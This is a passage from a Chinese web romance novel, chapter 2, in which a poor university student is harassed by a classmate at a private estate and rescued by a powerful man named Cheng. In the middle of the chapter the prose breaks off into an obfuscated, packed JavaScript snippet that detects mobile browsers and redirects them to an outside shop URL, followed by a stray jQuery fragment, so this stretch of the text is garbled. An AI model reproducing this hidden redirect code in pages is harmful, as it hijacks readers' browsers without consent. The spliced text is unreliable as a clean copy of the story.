-chapter02-
从久裕巷出来后,祝云筝本想直接回学校,却无意瞧见巷口卖花的小摊,风吹得本就不鲜的花瓣落了好些,她不禁走过去询问价钱。
因这坏天气而幸运,这些花打了折,虽然已经开始蔫了,可把枯败的一摘,往瓶子里浸浸水,也还能鲜几天。
眼下正是晚高峰,地铁不好挤,公交也不好等,祝云筝本就走了好远才找到公交站牌,又站在风口许久,错过几班满员的车,到此刻才堪堪上车。
可上车口有人投了钱,却反被挤了下去,几方争执,车子迟迟未开。
车厢里挤得密不透风。
汗味、灰尘味、廉价香水味混杂在一起,熏得人头晕。
祝云筝被挤在靠窗的角落,一手护着怀里的花,一手费力地抓住头顶的横杆,挺直身子,透过热气雾蒙的车窗向外望。
难以形容的心情。
分明不远处就是淮覃。
幽邃寂然的高台小院俯视尘世,不必修缮的一方琉璃瓦、随手丢弃的半截青砖、桌上供人把玩的小方袖珍活泉……只一件,或许都抵得过普通人半生辛劳。
而几百米外的此处,脚下尘埃飞扬。
是大千世界,是芸芸众生,是只为得守住几两碎银扯坏了衣裳,磕破了头。
祝云筝垂下眼,攥紧了手里那束蔫耷的花。
住在那种地方的人,想必不会为实习发愁,也不用在超市里对着卫生巾的打折标签反复对比。
微微出神,祝云筝的目光越过灰沉的窗户远落。
她早早就注意到,从方才开始便有辆车停在对面。
那黑色轿车的品牌很低调,她没见过,也不认识,却知道价格应当不菲。
因那与车子外形相反、过分高调的车牌。
A字打头,后头一串相同的数字。
昭彰的非富即贵。
那里头坐着什么人?她知道自己或许永远不会知道,也没有足够的见识去想象某种可能。
公交车晃荡地启程,载着满车吵嚷朝着浮世驶离。
那辆车却始终没有开走,只隐在暮色中。
-
回到宿舍已经八点,室友都还没回来,祝云筝将花束放进小玻璃罐里,收拾了东西去洗澡。
再回来时,跟她睡在同一边的室友卢璐已经换了睡衣,正累得瘫倒在椅子上,看见她回来,才撑起精神起身,拿着篮子去洗漱。
“我也去洗洗,累死了。”卢璐解开头发说,“对了云筝,刚刚你手机一直响,没备注。”
“好,谢谢。”祝云筝用毛巾卷着头发,去自己的床边拿手机,未接来电里显示的还是那串没有备注的电话号码。
她深吸一口气,闭了闭眼,趴到桌子上。
等电话自动挂断,又亮起一条信息:[周六跟我吃饭去,工作好说,别给脸不要脸。]
祝云筝低头注视着那条信息,迟迟未动。
好久,卢璐洗漱回来,看到她还趴在桌上,似乎状态不对,擦着脸问:“怎么了?”
祝云筝依旧趴着,声音微弱:“没事,在想要不要把手机弄坏,但是又舍不得,没钱买新的。”
卢璐不禁问:“电话谁打的?不会又是……”
答案显而易见,祝云筝老实回答:“周灿。”
意料之内的答案,卢璐却还是愤懑:“这人怎么阴魂不散啊?上回他把你的见习名额搅黄,给他那狗腿子整了去!你可是为了这个名额准备了三个月,明明几面都是第一,他竟然还有脸说什么……要追你?”
祝云筝垂眸,无意识地轻轻整理自己的裙摆上已洗得发白的线头:“我听说周灿的父亲刚升了职。”
话未说完,却已言明。
工作没了再找就好。
老天生她一场,又给她机会来京州,总不能真叫她饿死在这里。
想不开跟这种人过不去,只能惹身脱不去的骚,就像滩涂的一尾涸泽之鱼,拼命张合鳃盖,氧气只会愈发稀薄。
更何况上回她已然严辞拒绝,将话剖开讲明,反倒惹恼了周灿,夜里喝了些酒就在她宿舍楼下闹,惹人围观,惊动了校长,可第二天受院里批评的却只有她一个。
祝云筝自知不擅长处理人际关系和人情世故,那时人人也都说是她不会与人为善,她并未因此妄自菲薄,也并未为这不公恼怒,只是有些迷茫和后怕。
从前以为这世上一切问题在考上大学后都会迎刃而解。
考上大学就好了。
走出浦沙镇就好了。
能去京州就好了。
……
可真正来到这里,祝云筝才明白,在浦沙镇时,穷和难是看得见的,是砖瓦上的青苔,是窄巷里的泥泞,是破旧不辨的书籍。
而京州的穷是被分成三六九等的人,还有明里暗里她瞧不懂的规则。
在天马行空的少女时代,小说和文学读物让她难免对京州产生向往。
可与期待和幻想中纸醉金迷的京州并不相同,眼下拥挤窘败,不见天日为生计愁展的,才是她的京州。
浦沙白砖青瓦依山傍水,京州红砖黄瓦天地四方。
让她难以适应的,也远远不止相差甚远的气候。
-
天气预报说,周六傍晚,京州有雨。
祝云筝今晚兼职的地点在北山的一处庄园度假酒店,熟客制,临崖的位置,在观景台便能瞧见雾沉沉的山谷,远处是雪山,眼前中式庭院深深,曲水回廊。
前几天,祝云筝正为周灿的最后通牒愁眉不展时,好巧不巧地,夏宜民将她叫去了办公室。
“北山那边有个私人庄园,这周六要办个小范围的交流晚宴,来了几位法国文化界的朋友。”夏宜民笑说,“主办方那边缺个临时的法语助理,不用全程翻译,就帮着沟通几句,引引路,时薪一千。”
祝云筝微怔。
时薪一千,两小时就抵得过她一个月的生活费,但她并未被这报酬冲昏头脑,反而因此迟疑。
看出她的顾虑,夏宜民语气轻松地解释:“放心,就是普通的商务交际,主办方是我太太的侄儿,姓程,身份很讲究,只想要个安静、懂规矩、外语好的年轻人。我第一时间推荐了你,他信得过我,连面试都免了。”
“程……”祝云筝轻声重复,不知为何,她心里笃定,程先生应当就是昨日在淮覃时,隔门所闻的那道人声的主人。
夏宜民笑着:“嗯,怎么了?”
祝云筝微微笑了笑,摇摇头。
夏宜民了然地点点头,向她要了份详细的简历,帮她送去了北山。
于是,祝云筝在周六下午直接到了庄园。
酒店方一听祝云筝是夏宜民介绍来的,似乎很是信任,便将她直接引到后台,递过一套合适尺码的月白色旗袍,搭浅灰色羊绒披肩。
待她换好,随即经理领着她一边往里走,一边告知:“今天你的工作区域只有一楼的西侧厅和临水露台,负责为几位法国客人提供酒水,协助简单的沟通。”
两人穿过一道月洞门,抵达邻水露台,假山垒石错落有致,院中湖面流水潺潺,二层檐廊挂着几只八角宫灯,笼里像是嵌着明火的烛,暖光徐徐映亮脚下的石板路。
祝云筝怔忡地看着眼前的雕栏,不禁随口提起:“赵经理,请问……这里看起来并不缺人,怎么会招临时兼职?是有其它特别避讳吗?”
祝云筝在方才过来的路上就观察过,瞧着今晚来参加活动的都不是普通人。
因为有几位面熟的,细细回想应当是在晨间报的版面常客,都是京州戴金佩紫能叫上名头的人物,多有随行的专业翻译,并不需要应侍生来做译。
更别提,今晚似乎只招了她一个临时工。
哪哪都透露着不对劲。
似乎并不意外她的发问,赵经理始终面带公事公办的微笑:“这是上头的吩咐,我不方便回答,您想知道的话可以直接去问,那位就在庭院二楼包厢。”
满肚子的疑虑,祝云筝却也哑然。
暗透的天色,山风回荡在脚下。
今晚来这儿工作虽只单纯为了躲人,但祝云筝不想出任何岔子。
一个周家都能轻易拿捏她的命脉,把她拼命得来的实习机会随口送给亲信,今天这些人的手段只会更甚。
不多看不乱问,她只矜矜业业地到庭院为客人引路。
从吧台端了茶,祝云筝一脚踏进庭院时,倏然传来熟悉音色。
“我说怎么不接电话找不着人,结果是来这儿攀高枝了。”
轻浮、阴阳怪气的语气。
等她意识到这人是谁的时候,那人已然贴在她身后了。
鼻尖嗅到酒气。
祝云筝浑身骤然僵住。
周灿喝了酒,摇摇晃晃地抬起手,径直往她腰上搂:“勾搭上了姓赵的?还是张家?想要挣钱,直接给哥打个电话就成,何必辛辛苦苦端盘子?”
那只带着酒气的手心偷偷摸摸抚上她腰间,一瞬间,祝云筝迅速回身向后,瞬间拉开距离。
“轰隆——”
窗外一声闷雷。
雨水伴着秋风,混杂不清,灰白雨幕无规地扫进走廊。
祝云筝深吸一口气,很快平复心绪,不想再搭理他,端着托盘大步往长廊里走:“我在工作,借过。”
瞧她要走,周灿脸色难看极了:“别给脸不要脸啊,你知不知道我能站在这儿靠的是程家亲自点头!我告儿你祝云筝,你要是不跟我走——”
说着,周灿直接跑着跟上去,用力抓住她的胳膊往身边拽。
“你干什么!”祝云筝被吓了一跳,几乎只凭本能,直接将手里的托盘砸向对面,利角瞬间划破了皮肉。
周灿一下酒醒。
祝云筝看着周灿脸上的血痕,也僵硬一瞬。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17744356|209211||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
长廊在庭院一角,因得暴雨,即便有遮雨廊,客人们也都已经回了屋内,只有几人本藏身于暗处,听到动静后迅速出现。
周灿正拧着脸,朝那几人挥挥手:“给我弄走。”
没有犹豫,祝云筝立刻转身往廊外客人多些的庭院里走,却被人强势拦下,围堵在回廊尽头。
雨水倏然浇下,顺着发梢滴进脖颈,小腿和本就单薄的旗袍都被浇透,鞋里也进了水。祝云筝感觉到体温被十一月末的冷雨迅速带走,甚至顾不得打颤,只觉说不出的狼狈。
雨水砸在庭院遮雨的伞面,噼噼啪啪的声响。
走投无路,气氛僵持。
就在周灿再次意图将她强行带离的刹那。
“吱呀——”
极轻的一声。
檐廊二楼,一扇始终虚掩的雕花木窗被从内推开。
寂静的方寸,檐廊二楼忽悠悠传来一道人声,不紧不慢地落下:“吵什么?”
低沉的慢悠悠,拖腔带调。
京州人一贯懒洋洋的语调。
祝云筝呼吸微促,循声看向二楼,有人正倚栏望来。
孤标挺拔的身影,好似凭空出现在沉沉的雨幕中。
后来祝云筝常常回想起与程砚知的头两回见面,他始终置身高处,叫她于低谷中辛苦仰视,她也说不清楚,这是否昭彰着以后。
檐廊垂挂着老式马灯,映亮缭绕雨幕。
“程——”看清那人是谁的一瞬间,周灿脸上血色褪尽,气势瞬间软下去。
程砚知唇角一抹笑:“我好容易清净一会儿,小周总这是做什么?”
“这,我,我同学,我们闹着玩儿呢。”
“是么……”
男人眼眸低垂,视线不偏不倚地落在她仰起的脸上,沿着她微颤的睫毛、被雨水濡湿的唇珠缓缓往下,湿透的旗袍紧贴锁骨,冷白皮肤下淡淡青色的脉络。
半晌。
程砚知的目光自然地从她苍白的脸上移开,平淡掠过楼下狼藉,最终停留在周灿如土的脸色。
男人仿佛已知晓一切,只淡淡落下一句:“周老真是教子有方。”
听着动静,赵经理匆忙赶来,跑到楼上歉仄颔首:“程先生,实在抱歉……”
祝云筝呼吸微滞,因这程姓的称呼和印象深刻的音色。
男人身量很高,肩膀也宽,矜贵温润的气质,即便眉眼神态好似是温和的,可遮掩在金丝镜框后深邃如墨的双眸却平添几分侵略感。
与上次无声对视后想象的一样,又不一样。
这位程先生,这段时间在她耳边出现得实在太频繁,好似无处不在。
她无端生出被围困的闷滞,自四面八方涌入,剿隐着说不清道不明的惶惑。
程砚知似乎并未察觉她的打量,只看着周灿,平静地开口。
“祝小姐是我专程请来帮忙照看法国客人的,怎么如今瞧着,我的人要留要走,还得经你周家同意才行?若真如此,倒是我疏忽,没有提前请示令尊。”
即便这话里没半个重字,却还是让周灿额间渗出冷汗:“……您误会了。”
周灿当真是意外,也当真是吓着了,他怎也想不到程砚知会在这儿。
这段时间周家全指着程砚知吃饭,谁都知道京州这位程二公子眼里揉不得半点沙子,这庄子更实打实是程家的地盘,眼下他却因为这点破事扰了人家清静。
他就是想给祝云筝那死丫头一点教训,平常人遇到这种事都睁只眼闭只眼,哪曾想她浑身上下加起来超不过三百块钱,连个牌子都没有,背后竟是程砚知这种大有来头的人。
周灿忙说:“我,我这不小心磕了下,我先去医院瞧瞧,不打扰您了。”
他谄媚地笑一笑,转身就跑。
然而,此时程砚知的声音再次不紧不慢地传过去:“正巧今儿小周总在,还劳烦给令尊带句话。”
周灿动作僵硬地停下脚步,回头,脸上的笑难看极了。
程砚知神情淡漠:“我适才想起来,老爷子心脏受不了茶碱,令尊前阵送的那样好的茶叶恐怕是消受不得,改日还请令尊拿回去,浇浇花什么的,别浪费了。”
周灿脸色苍白:“程……”
程砚知只是面无表情看着楼下,未发一言。
周灿还没有傻到要在这种情况下继续贴上去,再没敢多留,几乎是逃出了廊院。
待人影慌逃消失,程砚知的声音又慵散地传来:“上来。”
简单两字,是对祝云筝说的。
声音混在雨里,调子低沉,音色却温润而清冽。像是雨夜隐匿在阴云之后,轻飘飘地浮在空中的一轮幽冷的月亮。
男人垂眸,视线重新落回祝云筝身上,径直朝她看去,没有丝毫偏调。
祝云筝事后回想,难言后悔。
只觉不该在这一瞬间抬头,才陷得往后多年。
生死不休。